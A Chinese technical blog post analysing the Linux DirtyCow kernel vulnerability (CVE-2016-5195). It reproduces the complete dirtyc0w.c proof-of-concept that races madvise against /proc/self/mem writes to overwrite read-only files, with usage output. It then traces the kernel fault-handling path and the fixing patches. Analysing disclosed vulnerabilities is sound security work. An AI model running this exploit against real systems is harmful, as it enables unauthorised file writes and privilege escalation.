博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
DirtyCow CVE-2016-5195分析
阅读量:2503 次
发布时间:2019-05-11

本文共 6297 字,大约阅读时间需要 20 分钟。

概述

DirtyCow漏洞算是2016年linux社区一件大事情了,通过此漏洞,非授权用户可以写入任意文件,进一步提升权限。漏洞触发简单,涉及众多的linux版本和平台(linux2.6.22及其以上,涉及redhat,ubuntu,suse等多多平台)。

简单来说,CVE-2016-5195漏洞原理是linux内核内存子系统在处理私有的只读存储映射时,触发里面的竞争条件导致获取文件可写入权限,从而可以进一步获取更大的权限。

触发

触发代码:

/*####################### dirtyc0w.c #######################$ sudo -s# echo this is not a test > foo# chmod 0404 foo$ ls -lah foo-r-----r-- 1 root root 19 Oct 20 15:23 foo$ cat foothis is not a test$ gcc -lpthread dirtyc0w.c -o dirtyc0w$ ./dirtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ cat foom00000000000000000####################### dirtyc0w.c #######################*/#include 
#include
#include
#include
#include
void *map;int f;struct stat st;char *name;void *madviseThread(void *arg){ char *str; str=(char*)arg; int i,c=0; for(i=0;i<100000000;i++) {/*You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/secu ... 06661> This is achieved by racing the madvise(MADV_DONTNEED) system call> while having the page of the executable mmapped in memory.*/ c+=madvise(map,100,MADV_DONTNEED); } printf("madvise %d\n\n",c);}void *procselfmemThread(void *arg){ char *str; str=(char*)arg;/*You have to write to /proc/self/mem :: https://bugzilla.redhat.com/sh ... 23c16> The in the wild exploit we are aware of doesn't work on Red Hat> Enterprise Linux 5 and 6 out of the box because on one side of> the race it writes to /proc/self/mem, but /proc/self/mem is not> writable on Red Hat Enterprise Linux 5 and 6.*/ int f=open("/proc/self/mem",O_RDWR); int i,c=0; for(i=0;i<100000000;i++) {/*You have to reset the file pointer to the memory position.*/ lseek(f,map,SEEK_SET); c+=write(f,str,strlen(str)); } printf("procselfmem %d\n\n", c);}int main(int argc,char *argv[]){/*You have to pass two arguments. File and Contents.*/ if (argc<3)return 1; pthread_t pth1,pth2;/*You have to open the file in read only mode.*/ f=open(argv[1],O_RDONLY); fstat(f,&st); name=argv[1];/*You have to use MAP_PRIVATE for copy-on-write mapping.> Create a private copy-on-write mapping. Updates to the> mapping are not visible to other processes mapping the same> file, and are not carried through to the underlying file. It> is unspecified whether changes made to the file after the> mmap() call are visible in the mapped region.*//*You have to open with PROT_READ.*/ map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); printf("mmap %x\n\n",map);/*You have to do it on two threads.*/ pthread_create(&pth1,NULL,madviseThread,argv[1]); pthread_create(&pth2,NULL,procselfmemThread,argv[2]);/*You have to wait for the threads to finish.*/ pthread_join(pth1,NULL); pthread_join(pth2,NULL); return 0;}

触发方式:

# echo this is not a test > foo# chmod 0404 foo$ ls -lah foo-r-----r-- 1 root root 19 Oct 20 15:23 foo$ cat foothis is not a test$ gcc -pthread dirtyc0w.c -o dirtyc0w$ ./dirtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ cat foom00000000000000000

分析

1.首先梳理下dirtyc0w.c

main函数将用户输入的只读文件mmap映射,flag参数是MAP_PRIVATE且只读。MAP_PRIVATE属性会在对此内存写入时,创建一个cow的副本。然后创建2个线程madviseThread和procselfmemThread,其中procselfmemThread通过/proc/self/mem文件尝试向被映射的内存不断写入数据,madviseThread则不断调用madvise(map,100,MADV_DONTNEED)取消映射,而两个线程不断操作,竞争条件触发只读文件获取写入权限,流程在内核代码中。

2.代码流程参考

(1)第一次写操作:

faultin_page  handle_mm_fault    __handle_mm_fault      handle_pte_fault        do_fault <- pte is not present

if (!(flags & FAULT_FLAG_WRITE))

return do_read_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
if (!(vma->vm_flags & VM_SHARED))
return do_cow_fault(mm, vma, address, pmd, pgoff, flags,
orig_pte);
这里判断写属性并且不是VM_SHARED,进入do_cow_fault创建cow副本

do_cow_fault <- FAULT_FLAG_WRITE    alloc_set_pte

这里4.1代码是do_set_pte():

if (write)
entry = maybe_mkwrite(pte_mkdirty(entry), vma);

maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty                            but keep it RO

这里执行cow配文件映射内存页的副本,返回NULL

# Returns with 0 and retryfollow_page_mask  follow_page_pte(flags & FOLL_WRITE) && !pte_write(pte) <- retry fault

这里判断cow创建的内存页是否具有写权限,没有直接返回NULL,再次进入faultin_page

faultin_page  handle_mm_fault    __handle_mm_fault      handle_pte_fault        FAULT_FLAG_WRITE && !pte_write

if (flags & FAULT_FLAG_WRITE) {

if (!pte_write(entry))
return do_wp_page(mm, vma, address,
pte, pmd, ptl, entry);
entry = pte_mkdirty(entry);
这里由于副本完成了内存映射,所以没有进入缺页错误,而是直接来到这里,进入do_wp_page()

do_wp_page    PageAnon() <- this is CoWed page already    reuse_swap_page <- page is exclusively ours    wp_page_reuse      maybe_mkwrite <- dirty but RO again      ret = VM_FAULT_WRITE

这里直接使用cow操作的副本,并且一层层返回到faultin_page()函数中,此时带VM_FAULT_WRITE标志。到达

if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
*flags &= ~FOLL_WRITE;
这里会清除flags的FOLL_WRITE,因为后面需要对cow副本写入。按正常流程来讲,程序操作cow副本页。

((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE# Returns with 0 and retry as a read fault

再次回到__get_user_pages的retry:

retry:
/*
* If we have a pending SIGKILL, don’t keep faulting pages and
* potentially allocating memory.
*/
if (unlikely(fatal_signal_pending(current)))
return i ? i : -ERESTARTSYS;
cond_resched();
page = follow_page_mask(vma, start, foll_flags, &page_mask);
正常流程会对cow副本页进行follow_page_mask()接下来操作,但是cond_resched();这个函数调用给其他线程抢占留了空隙,此时dirtyc0w.c的madviseThread()线程中的madvise(map,100,MADV_DONTNEED)取消了cow的映射,取消映射后进入follow_page_mask会再次触发缺页中断,而此时do_fault调用,已经在上面清理了flags的写权限的要求,直接调用do_read_fault读取映射文件的内存页,获取映射(原只读)文件的内存页,而不是cow的副本页,此时已经可越权操作。

cond_resched -> different thread will now unmap via madvisefollow_page_mask  !pte_present && pte_nonefaultin_page  handle_mm_fault    __handle_mm_fault      handle_pte_fault        do_fault <- pte is not present      do_read_fault <- this is a read fault and we will get pagecache               page!

再次梳理:

正常流程:write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页(只读),返回NULL->处理cow副页写权限错误,清除FOLL_WRITE权限要求->写入cow副页

漏洞流程:write只读文件->触发缺页错误->flag判断读写属性,进入do_cow_fault()->创建cow副页(只读),返回NULL->处理cow副页写权限错误,清除FOLL_WRITE权限要求-> madvise unmap cow副页内存映射->再次触发缺页中断,并且flag清除了FOLL_WRITE,直接调用do_read_fault获取文件内存页,可读。

补丁:

commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6

commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619

新增了FOLL_COW,faultin_page中去掉了取消FOLL_WRITE,加入了置位FOLL_COW,这样不会出现去掉FOLL_WRITE权限的操作,也不会引发后面问题。

这里写图片描述

你可能感兴趣的文章
Swagger在Laravel项目中的使用
查看>>
Laravel 的生命周期
查看>>
CentOS Docker 安装
查看>>
Nginx
查看>>
Navicat远程连接云主机数据库
查看>>
Nginx配置文件nginx.conf中文详解(总结)
查看>>
Mysql出现Table 'performance_schema.session_status' doesn't exist
查看>>
MySQL innert join、left join、right join等理解
查看>>
vivado模块封装ip/edf
查看>>
sdc时序约束
查看>>
Xilinx Jtag Access/svf文件/BSCANE2
查看>>
NoC片上网络
查看>>
开源SoC整理
查看>>
【2020-3-21】Mac安装Homebrew慢,解决办法
查看>>
influxdb 命令行输出时间为 yyyy-MM-dd HH:mm:ss(年月日时分秒)的方法
查看>>
已知子网掩码,确定ip地址范围
查看>>
判断时间或者数字是否连续
查看>>
docker-daemon.json各配置详解
查看>>
Docker(一)使用阿里云容器镜像服务
查看>>
Docker(三) 构建镜像
查看>>